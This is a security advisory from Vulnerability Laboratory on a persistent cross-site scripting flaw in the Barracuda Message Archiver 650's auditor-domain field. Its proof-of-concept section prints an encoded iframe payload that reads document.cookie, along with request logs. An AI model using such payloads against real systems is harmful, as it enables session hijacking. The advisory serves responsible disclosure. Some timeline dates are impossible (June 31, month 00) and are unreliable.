Document Title:

Barracuda Networks Message Archiver 650 - Persistent Input Validation Vulnerability

References (Source):

http://www.vulnerability-lab.com/get_content.php?id=751

https://www.barracuda.com/support/knowledgebase/501600000013lXe
Barracuda Networks Security ID (BNSEC): 703

BNSEC-00703: Remote authenticated persistent XSS in Barracuda Message Archiver v3.2
Solution #00006604

Release Date:

2014-07-18

Vulnerability Laboratory ID (VL-ID):

751

Common Vulnerability Scoring System:

3.6

Product & Service Introduction:

The Barracuda Message Archiver is a complete and affordable email archiving solution, enabling you to effectively
index and preserve all emails, enhance operational efficiencies and enforce policies for regulatory compliance. By
leveraging standard policies and seamless access to messages, email content is fully indexed and backed up to enable
administrators, auditors and end users quick retrieval of any email message stored in an organization’s email archive.

* Comprehensive archiving
* Exchange stubbing
* Search and retrieval
* Policy management
* Intelligent Storage Manager
* Roles-based interface
* Reporting and statistics

The Barracuda Message Archiver provides everything an organization needs to comply with government regulations in an
easy to install and administer plug-and-play hardware solution. The Barracuda Message Archiver stores and indexes all
email for easy search and retrieval by both regular users and third-party auditors. Backed by Energize Updates, delivered
by Barracuda Central, the Barracuda Message Archiver receives automatic updates to its extensive library of virus, policy
definitions to enable enhanced monitoring of compliance and corporate guidelines, document file format updates needed to
decode content within email attachments, as well as security updates for the underlying Barracuda Message Archiver platform
to protect against any potential security vulnerabilities.

(Copy of the Vendor Homepage: http://www.barracudanetworks.com )

Abstract Advisory Information:

The Vulnerability Laboratory Research Team discovered a persistent web vulnerability in Barracudas Messsage Archiver 3.2 Appliance Application.

Vulnerability Disclosure Timeline:

2013-11-08: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2013-11-10: Vendor Notification (Barracuda Networks - Bug Bounty Program)
2013-11-13: Vendor Response/Feedback (Barracuda Networks - Bug Bounty Program)
2014-06-31: Vendor Fix/Patch (Barracuda Networks Developer Team - Reward: $$$)
2014-00-00: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Published

Affected Product(s):

Barracuda Networks
Product: Message Archiver 650 - Appliance Application 3.1.0.914

Exploitation Technique:

Remote

Severity Level:

Medium

Technical Details & Description:

A persistent input validation web vulnerability has been discovered in the official Barracuda Networks Message Archiver 650 v3.2 appliance web-application.
The remote vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable application module.

The vulnerability is located in the `Benutzer > Neu Anlegen > Rolle: Auditor > Domanen` module. Remote attackers are able to inject own malicious script
codes in the vulnerable domain_list_table-r0 values. The execution of the script code occurs in the domain_list_table-r0 and user_domain_admin:1 appliance
application response context. The request method is POST and the attack vector is persistent on the application-side of the barracuda networks message
archiver web appliance.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.
Exploitation of the vulnerability requires a low privileged or restricted application user account with low or medium user interaction. Successful exploitation
of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent manipulation of module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Benutzer > Neu Anlegen > Rolle: Auditor

Vulnerable Input(s):
[+] Domanen

Vulnerable Parameter(s):
[+] domain_list_table-r0

Affected Module(s):
[+] Rolle: Auditor Listing

Proof of Concept (PoC):

The persistent web vulnerability can be exploited by remote attackers with low privileged or restricted application user account and low required user inter action.
For security demonstration or to reproduce the remote web vulnerability follow the provided information and steps below to continue.

— PoC Session Logs [POST] —
ajax_bc_sub=addDomain
domain=%22%3E%3Ciframe%20src%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C%20%20%22%3E%3Ciframe%20src
%3Dhttp%3A%2F%2Fvuln-lab.com%20onload%3Dalert(document.cookie)%20%3C
user=guest
password=75361da9533223d9685576d10bd6aa02
et=
1352520628
locale=de_DE
realm=
auth_type=Local
primary_tab=USERS
secondary_tab=per_user_add_update

PoC (URL):
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&et=1352520461&locale=de_DE&password=4b0a7f3a136e60c7cf73ec1b30ec6a23&
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM

PoC: Benutzer > Neu Anlegen > Rolle: Auditor > Domanen > (domain_list_table-r0)
<td style="vertical-align:middle;text-align:left;white-space:nowrap">
%20​​​​​">​​​​​<iframe src="http://vuln-lab.com" onload="alert(document.cookie)" <=""
"="[PERSISTENT INJECTED SCRIPT CODE!]< </iframe><input name="user_domain_admin:1"
id="user_domain_admin:1" value=""[PERSISTENT INJECTED SCRIPT CODE!]" type="hidden"></td>

Reference(s):
http://archiver.ptest.localhost:3378/cgi-mod/index.cgi

http://archiver.ptest.localhost:3378/cgi-mod/index.cgi?auth_type=Local&amp;et=1352520461&amp;locale=de_DE&amp;password=4b0a7f3a136e60c7cf73ec1b30ec6a23&amp;
primary_tab=USERS&realm=&secondary_tab=per_user_add_update&user=benjaminKM_0ne

Solution - Fix & Patch:

The vulnerability can be patched by a secure parse and encode of the vulnerable affected listing in the domain_list_table-r0 parameter(s).

Barracuda Networks Appliance: Advanced >Firmware Updates Page
https://www.barracuda.com/support/knowledgebase/501600000013lXe

Security Risk:

The security risk of the application-side input validation web vulnerability is estimated as medium.

Credits & Authors:

Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]

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